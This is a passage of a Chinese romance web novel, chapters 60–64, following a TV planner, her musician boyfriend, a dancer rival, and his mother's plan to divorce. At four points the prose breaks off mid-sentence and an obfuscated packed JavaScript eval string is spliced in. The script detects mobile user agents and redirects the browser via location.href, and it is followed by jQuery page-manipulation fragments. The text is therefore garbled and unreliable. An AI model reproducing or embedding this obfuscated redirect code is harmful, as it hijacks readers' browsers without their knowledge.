签约了之后就要马上无缝衔接工作，正式入职那天，王清妍亲自给她挂上了工牌，像长辈那样慈爱地看着她：“恭喜你转正了。” “谢谢王姐的栽培，以后还要多多麻烦您。”宋之雯朝各位都鞠了一躬，“以后大家都是同事了，还请多多指教。” “我们都这么熟了还客气什么啊。”张浩摆摆手，“我也是从菜鸟过来的，以前没少挨王姐的骂，你有不懂的问题就问我。” “你帮忙就帮忙，供出我干嘛？”王清妍眼神不善地看了他一眼。 张浩立刻笑嘻嘻地逃跑了。 “我之前就很看好你的能力，这样吧，刚好我们最近又在策划一档新的综艺，打算由你来当主策划。”王清妍领着宋之雯到工位上去。 “我吗？”宋之雯指了指自己，“刚来就策划这么重要的综艺，会不会有点不合适？” “总要锻炼的。”王清妍帮她拉开了位子，递给她几张资料，“这是我们节目的简介和拟邀嘉宾名单，你这几天写个策划案出来，有不懂的问我。” “好。”宋之雯埋头认真看了起来，这是一档舞蹈综艺，名叫《舞出我人生》，志在邀请全国的青年舞蹈家进行比拼，并将传统与现代结合改编舞蹈。 在嘉宾的名单里，她看到了余念的名字。 宋之雯有时候觉得B市很大，大到那天夜里她差点把城市翻了个底朝天，都找不到齐扬。B市有时候又很小，转头就能和熟人遇见。 她定了定心神，按照王清妍提供的联系方式加了余念的微信。没想到她是个很爽快的人，一下子就答应了邀约。 录制备采那天，宋之雯站在走廊上迎接余念，迎面就看到一个高挑的女孩子，身材极为纤细，比例逆天，一头秀发随性地散落到肩上，五官极富攻击性，让人移不开眼。 宋之雯实在想不明白这样的余念齐扬为什么不喜欢。 她主动和余念打招呼：“余念学姐好。” 余念有点意外：“你之前认识我？” “听吴衡说起过。” “哦，那之前的《最强live》你有参与吗？” “我全程都跟了。” “齐扬现在好吗？”余念突然问。 “他很好，拿了冠军再也不用住地下室了，可以写自己喜欢的歌，还能和喜欢的人......在一起。”宋之雯犹豫了好久才补充了后半句话，她自己也不知道怎么了，也许是在宣示主权？ 余念被逗笑了，歪着头上下看了宋之雯几眼：“我猜......齐扬喜欢的女孩就是你吧？” 她问得这么直白，倒让宋之雯有点不好意思了，只能点了一下头。 “我就知道，在花絮里看到过你，你这么一说我就全部联系起来了。”余念走过来拍了拍她的肩膀，“不过你放心，我不会和你抢的，年少不懂事才做那些事，现在想起来可尴尬了。” “但这都是青春美好的回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15061160|154747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忆。”宋之雯坚持说道。 余念嘴角的笑容更深了：“齐扬看上的人果然不一般，行了，我们去备采吧。” 余念是学古典舞出身，也跳过好几部知名的舞剧，其中塑造的仙女形象受到很多粉丝的喜爱，但这回她却明确表示要来挑战点不一样的。 这段采访一放出来，网上纷纷炸锅了。 @念念不忘：不要啊，我的仙女可千万别跳什么奇形怪状的舞蹈。 @堆积所有对你的思念：求节目组做个人，别乱编排。 当然也有一部分人被吊足了胃口，说在古典舞的舒适区呆久了，也期待余念跳点别的，况且成熟的舞者古典和现代都能跳。 在万众瞩目中，节目的第一期录制开始了。 节目组此次花费了大手笔，把国家一级舞蹈演员都请过来当评委，足以见对节目的重视。 观众也是又惊又喜，欢呼声不断，他们期待在《最强live》之后还能打造一款爆款综艺。 前几位选手果然如人所预料的那样，没有获得导师的亮灯，其中一个没好好练功的还被导师骂哭了。 后台里获奖无数的舞蹈家都开始焦虑了起来，余念却像没事人一样，迈着轻松的步伐走了上去。 她今天做了一个手推大波浪，烈焰红唇，一身西装，戴着一顶礼帽，手拿雨伞，颇有上个世纪老电影的味道。 评委也眼前一亮。 舒缓的旋律响起，是巴赫的钢琴曲，她就跟随着音乐舞动，身体柔软得可以凹成各种形状，伞在她手中就成了伴侣一样，时而撑开遮挡风雨，时而又收起来急促地旋转，快到只剩一个幻影。 音乐一停，她的伞正好当拐杖点在了地上，另一只手推了推礼帽，眼神放荡不羁。 台下观众全都在拼命鼓掌。 然而评委的观点却发生了分歧。 一位舞蹈学院的老师坚持声称余念这是自己编排的野路子，动作凌乱没有章法，而舞蹈演员却觉得很有创意，并说现代舞就是很自由的。 几个人吵来吵去吵不出个结果，所有人都在屏息等待着。 最终还是舞蹈演员亮了灯，余念勉强通过。 底下立刻发出不满的声音。 余念朝观众做了个飞吻就走下了台，宋之雯刚想安慰她几句，她却和没事人一样摇摇头：“没事，他们不接受正常，我会让他们接受的。” 宋之雯觉得，她们或许可以成为朋友。 节目一直录制到深夜才结束，宋之雯刚下班就收到了一条齐扬的消息：“下楼，我来接你。” 宋之雯不敢置信：“你不是刚结束巡演吗？” “飙车赶过来的，想你了。” 宋之雯的内心感到一阵甜蜜，她蹦蹦跳跳地走下楼，一眼就看到了齐扬的车。 她拉开车门，看到齐扬依旧没怎么变，只是脸上有了倦容。 没等她反应过来，齐扬就先抱住了她，脑袋靠在她的肩膀上：“好累。” 宋之雯笑了，用手抚摸着她的头，享受着两个人难得的重聚时光。 良久，齐扬才从她的怀中抬起头，发动了车子：“走吧，我送你回学校。” 车平稳地行驶在路面上，宋之雯的内心却在做激烈的斗争，她在想要不要告诉齐扬这件事。 齐扬察觉到了她的异样，主动问道：“你怎么了？情绪不太对。” 宋之雯终于鼓起了勇气：“我见到余念了。” 61. 第六十一章 邀约 齐扬握着方向盘的手一顿，不过很快又神色缓和了下来，继续开车：“她说什么了？” “她问......你过得好吗？” “这还用问吗？”齐扬嘴角轻笑，“我这不过得挺好的吗？” “她说你过得好就放心了。” “你们还说了别的吗？” “没了。” 宋之雯忽然感觉车速慢了下来，齐扬把车停在了路边，一只手撑在方向盘上，整个人靠了过来，似笑非笑：“我怎么觉得......你在吃醋？” 宋之雯别扭地别过头去：“没有。” “真没有？” “好吧。”宋之雯败下阵来，拿手比划了一下，“一点点。” 齐扬笑得更厉害了，整个人掩饰不住的得意。 “余念人挺好的。”宋之雯自言自语，“人也长得漂亮。” “是。”齐扬点头，“但就像每个人有爱吃的菜系一样，有人喜欢川菜，有人喜欢淮扬菜，你不喜欢吃川菜，但你也得承认有些人喜欢吃。” 宋之雯忽然感觉心里纠结的结一下子打开了：“有道理。” “放心，都这么多年没联系了，难道我还跟她有什么可能吗？”齐扬拿手蹂躏了一下她的头。 宋之雯低头，像银铃一般地笑了起来：“好了，开车吧，看路。” 齐扬重新发动了车，调转了方向盘，宋之雯忽然说道：“还有一件事，我闺蜜知道了我们在一起的事情，她说想冲到B市砍人。” 齐扬的唇角微微弯起，表情十分欠揍：“那要看谁能砍得过谁了。” “别这么对我闺蜜说话。” 齐扬赶紧服软：“我开玩笑的。” “这还差不多。”宋之雯抱着手臂看她。 “不过......”齐扬又补充了一句，“我现在很庆幸你和高中那个男同学没在一起，你们老师拆得好。” 宋之雯吐了吐舌头，这人还真是睚眦必报。 车行驶到了校门口，齐扬忽然停了下来，从夹层里掏出一个信封：“周六我在B市有音乐节，到时候来听。” 宋之雯抽出票看了看，表情有点为难：“周六啊......我们这周末要加班，不知道有没有时间。” “可以不用那么早去，我在最后一个表演。”齐扬点了一下她的额头，“一定要来哦。” 宋之雯不忍心让他失望，只好点了点头：“好，我尽量。” 齐扬把她放了下来，朝她挥了挥手，潇洒地离去，留下宋之雯一个人愣在原地。 回去她就开始搜音乐节的服装和攻略，最后锁定在了一件深蓝色的蝴蝶吊带上。 这件吊带里面是黑色的内衬，外面装饰了一个用纱做成的巨大蝴蝶，薄如蝉翼，翩翩欲飞，背后只用一根带子系着，露出一整片美背，神秘又诱惑。 宋之雯悄悄在网上下了单，在上班的当天把这件吊带和化妆品一并放在了包里，表面还是穿着简单的T恤和防晒衣。 《舞出我人生》的第一期刚刚录制完毕，要进行后期，要网上宣传，整个团队都异常忙碌。 宋之雯这边刚刚写完一个采访提纲，就被告知有个艺人的团队出了点问题，不想继续录制了。她赶紧去灭火，好说歹说费了一番口舌，终于说服他留了下来。 一天不知不觉地就过去了，宋之雯把手头的工作做完后，时钟已经指向了下午四点。 她正想和王清妍说一说有事想请个假，没想到王清妍和剪辑部的部长一起急匆匆地过来了：“阿雯，剪辑那边后期实在是做不完了，你帮忙分担一小段行吗？不然开播时间要延后了。” “行。”宋之雯咬牙答应了下来，转头发现张浩也在皱着眉头帮忙剪辑。 她分到的正好是余念的那段舞蹈。 平时在电视上看到的这些表演都十分流畅，但实际上是由不同机位的镜头拼接而成。并且什么时候切近景，什么时候切远景都有讲究，要根据导播的指令一点点抠细节。 宋之雯一帧一帧地放大看着余念的舞姿，越看越惊艳，无论是身体的柔韧度还是美感上都堪称完美。 剪辑了一半的时候，时间已经来到五点了，音乐节八点就停止入场了，而城东到城西还要一个小时的车程。 宋之雯开始心神不宁起来，恍惚间不小心删了一段素材，急忙撤回，还好找回来了，不禁松了一口气。 这下她再也不敢大意，认认真真地继续剪，快六点的时候，粗剪完成了。 她把素材发给王清妍，紧张地看着她，要是还要改的话，那可就没有尽头了。 王清妍看出了她的心不在焉，露出了一个很懂的笑容：“晚上有约啊？” 宋之雯不好意思地点点头。 “什么？有情况？”张浩转了一下椅子面对着她们，调侃道，“什么时候带过来给我们看看啊？” “下次吧。”宋之雯搪塞了过去。 “后面的我来修改吧，你快去，周末愉快。”王清妍拍了拍她的肩膀。 宋之雯急忙抓起了包，边走边向王清妍道谢：“谢谢王姐，我走了。” 她以火箭的速度冲到公司一楼洗手间，快速换好衣服画了个妆，又把头发编起来，外面披上防晒衣，做贼心虚地出了公司大楼。 宋之雯在便利店里随便买了个饭团，上了车之后开始啃。 B市的交通状况果然名不虚传，这才到路口就堵上了。 车以每分钟一米的速度蜗牛般缓慢爬行，时间渐渐流逝，宋之雯开始焦虑起来，时不时望向窗外：“师傅，这里还有近路吗？” 老师傅边叹气边摇头：“姑娘，这是唯一的一条道，要是真有近路，大家就不会堵在这里了。” 宋之雯只好重新靠在了椅背上，静静等待着。 过了这条道，车流量渐渐分散开来，路况好了一些，师傅加紧向音乐节所在的公园开去。 只是前面耽误了太多时间，原本一个小时的路程硬生生开了一个半小时。 开到公园的时候正值进场的高峰期，所有的车辆都堵在外面，哨声和喇叭声此起彼伏。 宋之雯看了看手表，还有十五分钟，从入口到检票口还要绕很长的一段路。 她拉开了车门，有点庆幸自己穿的是平底鞋：“师傅，就停在这里吧，钱已经手机上结了，谢谢。” 一下车，宋之雯就迈开了步伐，快速地在人群中穿梭，像掀起了一阵风，胸前蓝色的蝴蝶迎风飞舞。 她一口气跑到了检票口，还好，赶上了。 由于进场时间晚，她只能站到了后排的位置，不过她还是竭尽自己所能往前挤去，终于能勉强看清舞台。 现在只剩最后两支乐队没有表演了，分别是麋鹿和晨星，他们就像商量好似的，一个压轴，一个压台。 忽然舞台上喷出了一阵烟气，麋鹿乐队就在这迷蒙的浓烟中上台，立刻引发了观众的尖叫。 麋鹿乐队这段时间可以说是混得风生水起，不仅发了新歌，还上了综艺和晚会，身价涨了好几倍。相比之下晨星乐队就显得有点不作为，为此工作室没少挨骂。 三个人今天打扮得很前卫，都穿了黑色的破洞衣服和破洞牛仔裤，而且破的地方都是经过精心剪裁设计的，秦伊莲甚至还穿了露脐装。 他们唱的是这次首发的新歌，依旧是擅长的电子音乐，带有一点说唱的元素，为此郭卫还专门戴了顶鸭舌帽，把脸都遮住。 他刚唱第一个音，台下的人就按捺不住蹦了起来。宋之雯原先嫌音乐节站着累，但身在其中时，也不由地被他们的热情所感染，这比在演播厅看效果要好上一万倍。 唱到兴头上，郭卫忍不住摘下了帽子，利落地丢出去，引发了台下一阵哄抢。 之后他们又唱了几首经典的代表作，每一首全场都能大合唱。 快要下台的时候，郭卫笑着摘下了耳返：“你们知道，乐队的圈子很小，所以跑个音乐节老能碰到，还有人问我是不是商量好的。” 台下的观众已经开始笑了起来。 “那事不宜迟，就请出我的好朋友，把舞台 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“他不早就打预防针了吗？巡演也反复说希望粉丝找到自己的幸福。” “不会是那个在节目上的白月光吧？” “有可能，反正今天热搜预定了。” 叶琛先缓缓拨动了琴弦，轻柔的音乐声响起，宋之雯一听就听出来了，是《我的女孩》。 两年过去，齐扬的唱功无论是从音准还是气息，都进步了很多，但此刻他微红着脸，表现依旧像那个青涩的男孩。 宋之雯进场前特意戴了个发光手环，不确定齐扬能不能看见她，因此把手举得高高的。 齐扬在台上扫视了一圈，最后对准她这个方向开始唱，还腼腆地笑了一下。 这边的粉丝激动得不行，立刻对着齐扬招手飞吻。 最后一首歌唱完了，所有成员手拉着手，朝各个方向鞠躬谢幕，还撒了一些拨片给前排的粉丝。 一些粉丝还是没有离去，看还会不会有安可，直到确定没有才失望地走了。 这时宋之雯的手机里收到了一条消息：“到后台来找我。” 宋之雯按照齐扬的指示找到了后台，何瑜早就等在那里了，一见面就惊呼：“哇，你也太辣了吧。” 她兴冲冲地掀开了幕布，对里面喊道：“你们看谁来了。” 吴衡贼兮兮地看了齐扬一眼：“不错啊，你小子有福了。” 齐扬用力拍了一下他：“闭嘴。”然后朝宋之雯走了过来。 他还带着舞台上的妆发，视线在宋之雯肩膀上停留了很久，近距离地看那张脸更震慑人心。 齐扬俯在宋之雯耳边说道：“等我卸完妆，我们一起回去。” 宋之雯自己找了把塑料凳子坐着，齐扬很快就弄完了，换了身干净清爽的常服，带她去开车。 上了车之后，他却不着急走，表情玩味地看着宋之雯胸前的蝴蝶：“你穿成这样，不是想回学校的吧？” 62. 第六十二章 本能 宋之雯撇过头，脸立刻红了。 齐扬伸了伸腿，把她困在自己的这个小天地之间，目光带有了侵略性：“两个方向，学校或者我家，你选吧。” 尽管他们在一起之后齐扬好几次提出了这个要求，但宋之雯觉得太快了，一直没有答应，齐扬便尊重她的意见，也不再提了。 宋之雯也曾问过舒青竹，她和她男朋友关于这个问题是怎么看的，舒青竹说跟着自己的心走，你想就想，不想就不想，不要在意那些条条框框。 她咬了咬嘴唇，下定了决心：“去你家。” “你确定？”齐扬的眉头一动，“你知道后果是什么。” 宋之雯深吸了一口气：“我想好了。” “真的想好了？” “真的。” 齐扬的呼吸也沉重了起来，一言不发地开了车。 这时电话铃声忽然响了起来，是经纪人卢林打过来的。 齐扬一边开车一边开了免提。 卢林都快炸了：“臭小子，你现在在哪儿呢？你知道你一句话引发了多大的后果吗？现在微博热搜都爆了。” “我知道，我是故意的。”齐扬面不改色地回答。 卢林觉得自己迟早会被他气死，稳了稳情绪才继续说：“我不是跟你说谈恋爱要报备吗？” “上次我和她在一起不是和你说了吗？” “可是你公开的决定没跟我说啊。” “我今天只是借这首歌表达一下，公开我会另外找个合适的时间。巡演我就一直在打预防针，也不算太突然吧？” “问题是......”卢林重点强调了一下，“现在网上都在猜你说的人是余念，觉得你在余念那儿受了情伤，爱而不得。更离谱的认为现在余念的舞蹈节目要开播了，你和她联合炒作。” 齐扬的脸色立刻变了：“那我马上发条微博澄清。” “不用了，我们已经联系了余念，她把之前那条微博置顶了，我们也发布了声明，你转一下就好。” 齐扬松了口气：“谢谢你啊，林哥，不过还是我自己发条微博有诚意一点。” “唉。”卢林一脸恨铁不成钢，“下次说话做事过过脑子，我的命也是命。” “知道了林哥，今天是情绪上头了，下次一定和你商量。”这段时间相处下来，齐扬已经很了解卢林的脾气，知道给他道个歉，他就不再计较了。 卢林果然气消了大半，又叮嘱了他几个注意事项，才挂了电话。 齐扬把车开到了路边，扬了扬手机：“等我一下，我发个微博。” 宋之雯看着齐扬，眼神十分复杂：“你今天不该那么冲动的。” “没事。”齐扬转过头来，深深地盯着她，“欠你的。” 不等宋之雯回答，他又继续低下头打字了。 宋之雯打开手机，就看到了齐扬刚刚发的澄清微博，说自己和余念确实是高中同学，只不过已经很久不联系了，让大家不要相信网上的谣言。 既然齐扬暂时不愿意透露那个女孩的信息，吃瓜群众只当是其他素人，也不再深挖了。 只是这个话题下还有不友好的评论，盼着余念和她男朋友分手，齐扬和余念复合的。 这个世界怎么这么离谱？ 齐扬注意到了她的表情变化，提醒道：“网上不好的东西少看。” 宋之雯也推了推他：“专心看路，别分神。” 越接近齐扬家，宋之雯的心就跳得越厉害，她觉得今天的自己简直大胆得不可思议。 齐扬把车停到了地下车库，下车之后就搂着她不放，一路走到了电梯里。 今天的电梯似乎上升得格外慢，一层，两层，度秒如年，两人都能感受到彼此之间的荷尔蒙在上升。 终于到了家，齐扬输入了密码，“咔哒”一声，门锁开了，似乎在预示着某种开始。 宋之雯还没来得及反应，就被齐扬抓住了手腕，抵在墙上，热烈的吻将她紧紧覆盖。 忽然亲吻停了下来，齐扬把她拦腰横抱起来，往卧室里走，放在了床上。 宋之雯已经不记得齐扬是怎么完事后帮她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15092815|154747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清洗，又怎么给她换好衣服抱回卧室的，只知道醒来已经快中午了，整个人酸痛得快要散架一样，皮肤上都是昨天放纵留下的痕迹。 温暖和煦的阳光透过窗户照在床单上，宋之雯迷迷糊糊地伸手挡了一下太阳，虽然很饿，但还是不想起。 “喂。”她用脚踢了踢一旁抱着她的齐扬，“中午吃什么？” “随便。”齐扬眼皮也不睁。 宋之雯感觉自己要热得冒汗，伸手去掰开齐扬环绕她的手臂：“放开我，起床了。” “不起。”齐扬就是不撒手，把她环抱得更紧了。 “你先起。” “你先起。” 两人就像小学时吵架的同桌那样互不相让。 宋之雯最终放弃了，拿起齐扬的手机：“我点个外卖吧，粥可以吗？刚起床吃太油腻的不好。” “你看着点吧，我无所谓。” 宋之雯下了单，等到门铃响的时候，齐扬才放开了她，准许她去拿外卖。宋之雯接过保温袋，放在桌上，简单地洗了个漱，回头发现齐扬也起来了。 他就这么倚在门框上，黑发散乱，只套了件白T，下面是松松垮垮的睡裤，趿拉着拖鞋，却有种睡眼惺忪的美。 “起了？”宋之雯把东西一样一样地放在桌上，“来吃饭吧。” 齐扬点头，随便刷了个牙洗了把脸，就坐了下来，两人静静地拿勺子喝粥，谁也不说话。 宋之雯偷偷抬头凝视着齐扬的侧脸，忽然觉得时间要是停止在这一刻也不错，好像过日子。 齐扬感受到了宋之雯的目光，视线也看了过来，和她撞了个满怀。 “宋之雯。”齐扬情不自禁地脱口而出。 “嗯？” “搬过来和我一起住吧。” “现在还不行。”宋之雯摇头，“学校里还有很多事呢。” “好吧。”齐扬顿时泄了气，表情有点失望。 宋之雯用勺子搅着粥，试图转移话题：“齐扬......你有没有想过......让你妈妈离婚？” 63. 第六十三章 新生 齐扬愣住了。 他不是没有想过这个问题，甚至自己也劝过凌兰，但凌兰给出的回复是：“我这么多年靠你爸养着，都已经习惯了，离开了他，我又能去哪儿呢？” 齐扬哑然，不知道接下来该怎么接，这个话题只能作罢。 想到这些，他又叹了口气：“离婚说得容易，但我妈呆在家这么多年，和社会脱节了这么久，你让她怎么生存呢？” “给她找份能干的工作吧。” “我妈一不会做家务，二不会做饭，三excel都用不熟练，数字也经常算错，你让她找什么工作呢？” “那不一定。”宋之雯嘴角扬起，一脸志在必得的表情，“上次回家，我和你妈交流了一下化妆品，我看她对化妆品可有研究了，推荐的水乳可好用了。” “你是说......” “让她做代购呀，她不是很喜欢旅游吗？这么多年去了那么多地方，肯定也了解各国的化妆品是什么样的吧？” “但肯定不能拿我爸的钱去旅游了。” “启动资金我们可以借她呀，我还可以在朋友圈帮忙宣传宣传，有工作就有了底气，谈离婚也更有胜算。” 齐扬沉思了一会儿，最终还是认同地点了点头：“这个角度我还真没想过，果然还是你们女生了解女生，你等我和林哥商量一下，空出两天我们回一趟家。” 正好第一期录完宋之雯有了两天的调休假期，两人便一起回了齐扬家。 凌兰对他们的到来很惊讶：“怎么那么快又回来了？你们工作都忙，我自己一个人很好，不用经常来看我的。” 齐扬看着她，声音柔和了下来：“妈，想你了。” 凌兰呆住了，不敢相信地看着他，笑容堆满了脸上：“好，好，进来吧。” 一进门，齐扬又恢复了严肃的神情：“妈，其实这次来，是有事想和你商量一下。” “什么事啊？”凌兰不解。 “很重要的关乎你人生的事。”齐扬抱歉地向方姨欠了欠身，“方姨，麻烦你回避一下了。” “没事，你们聊，你们聊，我做饭去。”方姨转头进了厨房。 齐扬和宋之雯把凌兰带到了楼上的书房内，转头关上了门。 “坐吧。”齐扬让凌兰坐在一张沙发上，自己和宋之雯又分别坐了一张，搞得很像三方会晤。 “什么事啊，这么神神秘秘的？”凌兰看自己儿子的眼神都快不正常了。 齐扬下定了决心，一口气全说了：“妈，我这次来找你，是希望你能和我爸离婚。” “不可能。”凌兰一口否决。 齐扬的声音也高了起来：“妈，这么些年你不觉得委屈吗？他有几次回过家？还在跟外面的那些女人鬼混呢。你不用担心家庭的破裂会对我产生什么影响，这个家早就分崩离析了，守着它干嘛？” 凌兰抽抽嗒嗒地哭了起来：“可是我又有什么条件和你爸谈呢？我的钱都是他给的，一旦他断了我的生活来源，还得拖累你们。” “阿姨你千万不要这么想。”宋之雯试图让她冷静下来，“你也有自己擅长的东西，比如化妆品，我在想可以让你做做代购。” “可是代购也需要好大一笔启动资金呢。” “我靠着这张专辑赚了不少，妈，以后你就大胆花我的钱，不要花那个男人的。”齐扬开口了。 “你的事业也才刚起步，我怎么能花你的钱呢？”凌兰担忧地看着他。 “妈。”齐扬急了，“父母花孩子的钱天经地义，那我问你，你还爱我爸吗？” 这回轮到凌兰沉默了，她双手绞在了一起，像是内心在做痛苦的斗争，缓缓开口道：“一开始谈恋爱的时候肯定是爱的，但是这些年也就靠想想以前的旧情维持着。” “那我问你，让你二选一，你是更愿意和我爸生活，还是和我一起生活？”齐扬的嘴抿成了一条线，迫切地等待着她的答案。 凌兰笑得有些苍凉：“要说爱，我肯定最爱你，哪个父母不会爱自己的孩子呢？” 齐扬的声音开始颤抖“那不就好了，离开这里，我们可以给你租个房子，你想干什么都行，不用寄人篱下受别人的气，你好好考虑吧，妈。” “可是这条路实在是不容易，没准还会牵连你们。”凌兰直摇头。 “阿姨。”宋之雯过去抓住了她的手，“你是个很美的女人，值得更好的生活，我希望你不要为别人而活，为自己而活，齐扬也希望看到你这样。” “是啊，我不怕被牵连，要是搞我们我们就想办法，我只想让你好过一点。”齐扬也轻轻地把手搭在了凌兰的肩膀上。 凌兰的身体微微发抖，冰凉的泪珠一滴一滴落了下来，她拉过了宋之雯的手，把脸贴在上面，不住地说：“谢谢你，阿雯，你真是个好女孩，齐扬找到你真是他的幸运。” 宋之雯拿了纸巾给她：“阿姨，别哭了，你收藏的化妆品能给我看看吗？尤其是小样有吗？” “有有有。”凌兰擦干了眼泪，带她去了自己的房间，翻出了一个巨大的纸箱，“公司和品牌方有合作，经常寄化妆品到家里，这些还没过期，都能用。” 宋之雯一件一件地查看，越看越惊讶，这里面都是大牌，有些小样专柜还买不到。 她立刻掏出手机：“阿姨，这些都多少，你定个价，我回去给我的同事用用，如果用得好就向你买。” “不用定价了，你拿去吧。” “这怎么行，钱还是要赚的。” 凌兰向宋之雯了解了一下市场价，最后都报出了一个低于市场价的价格。 “你注册个工作微信吧。”宋之雯拿手机教她该怎么操作。 凌兰慈爱地看着她：“行，我店的名字就由你取吧。” 宋之雯想了想：“那就叫新生，庆祝一下走向‘新生’。” 微信注册好了，宋之雯又参考自己朋友圈代购的文案，帮她发布了几条产品信息。 晚上方姨烧了一大桌丰盛的菜，四个人围坐在一起，还破例开了一瓶陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15100944|154747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年红酒。 吃完饭没多久，宋之雯就觉得自己已经微醺了，打算洗个澡就去睡觉。她正要上楼时，忽然发现齐扬站在楼梯下看着她。 “有事吗？”宋之雯问。 没等她说下一句话，齐扬已经先行一步做出了反应，手抱在她的腰上，把她圈在了怀里。 宋之雯的脸贴着他的胸膛，能感受到阳光晒过的味道和有力的心跳。 “谢谢，真的谢谢你。”齐扬不住地在她耳边说。 宋之雯笑了，回抱了回去：“不客气。” 第二天临走之前，凌兰说什么都要多送给她一点小样，还给她塞了一大包特产才罢休。 飞机落在地面上的时候，宋之雯就打开手机联系舒青竹，让她留意一下有没有好的处理离婚案件的律师，同时也跟何瑜说了这件事。 第二天上班，她随手携带了几瓶不同的小样。到了工位上看到王清妍，她立刻凑了过去：“王姐，我看你最近熬夜很多，跟你说我用了一款眼霜特别好用，黑眼圈立刻没了。” “真的？”王清妍半信半疑，“有那么神奇？” “就是这个。”宋之雯拿出来展示给她看。 王清妍更惊讶了：“你是怎么买到小样的？我看网上只有正装，还贵得要死。” 宋之雯嘿嘿一笑：“男朋友妈妈做代购的。” “那你这男朋友交得可以，以后让他把化妆品都给你。”王清妍竖起了大拇指。 “要不你加一下她？阿姨让我帮忙宣传宣传。” “好啊。”王清妍立刻扫了码，翻看了凌兰的朋友圈，“不是吧？这些都有。” “她就是做这一行的，有点人脉。”宋之雯把剩下几个小样也放在了桌上，“价格都低于市场价，保证货真价实。” “是吗？那我也扫一个。”有同事凑了过来。 “这个小样可以试用一下吗？”另一个同事指着问。 “随便用，阿姨说送我的。”宋之雯一脸自豪。 张浩忍不住抱着身体抖了几下：“这有了男朋友就是不一样，一股恋爱的酸臭味。” “你自己也抓紧找个伴吧。”王清妍提醒他。 “王姐不也单身吗？”张浩笑得贼兮兮的。 “我那是不需要。”王清妍一记眼刀飞了过去，“别玩了，干活。” 今天是第二期舞蹈抽选的录制，现场共有两个大箱子，分别写着古典舞和现代舞两个大类，里面有不同的主题。 在等候区的选手按照上期亮灯的数量，从高到低依次上去抽签，根据抽到的主题编排相应的舞蹈。 余念只化了个淡妆，头发随意一扎，戴了顶鸭舌帽，坐在最角落里，手托着腮，随意地看着选手走动。 轮到她古典舞差不多都被抽完了，她只能选现代舞，拿起卡片一看，上面写的是“虚拟世界”。 完全是不擅长的主题。 其他选手都很关切地看着余念的表现，余念却手里一直捏着卡片，嘴角露出一抹冷笑。 64. 第六十四章 奋斗 她一言不发地回到角落里重新坐着，冷漠地看着剩下的人抽签完。 等大家都确定好了舞蹈的类型，开始有三三两两的人起身，去舞蹈室为下一赛段做准备。 余念单独一个人来到了舞蹈室，换上了练功服和舞蹈鞋，坐在地上压腿，不一会儿就大汗淋漓。 这时她忽然感觉有人敲门，接着是宋之雯的声音：“你好，现在我们需要拍摄一点选手训练的花絮，我可以进来吗？” 在得到了许可之后，宋之雯推门而入。 张浩把摄像头对准了余念，余念丝毫没有受到影响，依旧自顾自地转了好几圈，动作干净利落，一点不拖泥带水。 趁着余念喝水的功夫，宋之雯见缝插针地采访：“这次的舞蹈对你来说算不算一个挑战？” “算是吧。”余念的嘴角动了动。 “有想过怎么呈现吗？” “既然是虚拟世界，就结合当下的热点吧，比如互联网。”余念对着镜头眨了一下眼，“你们可以期待一下。” “第一期的成绩不太理想，会不会影响你的备战心态？” “不会。”余念放下了水杯，走到中央摆好姿势，“如果他们不认可，我会继续努力跳，直到他们认可为止。” 说着她一跃而起，头颈抬得高高的，手臂舒展，又以稳稳的姿势落地，像一只骄傲的天鹅。 宋之雯内心无比佩服，果然强者从不内耗。 这几天余念几乎是把自己泡在了舞蹈室里，每天宋之雯来的时候她已经在训练了，下班的时候看见她依旧没离开。 第二赛段终于如期而至，经过了第一轮的淘汰，剩下的都是强者中的强者。 第一个上来的就是现在炙手可热的青年舞蹈家，以身体作笔，在白纸上写了一段遒劲的书法。 第二个是现在流行的hip-hop（嘻哈），充满动感的音乐给大家带来了不少欢乐。 更有国际大赛的获奖者来势汹汹，高难度的动作引发连连尖叫。 终于轮到余念上场了。 她今天一上台的造型就惊艳了众人。头顶编了两根小辫子，用发胶固定住，眼角贴了银色的亮片，身上穿的是白色的无袖连体衣，皮革的材质，在舞台灯的照耀下闪闪发光。 带着电流和金属感的电子音乐响起，余念先是定格不动，再随着音乐的节奏上下扭动着手臂，一点一点变换着身体位置。 宋之雯算是看明白了，她是在演一个AI。 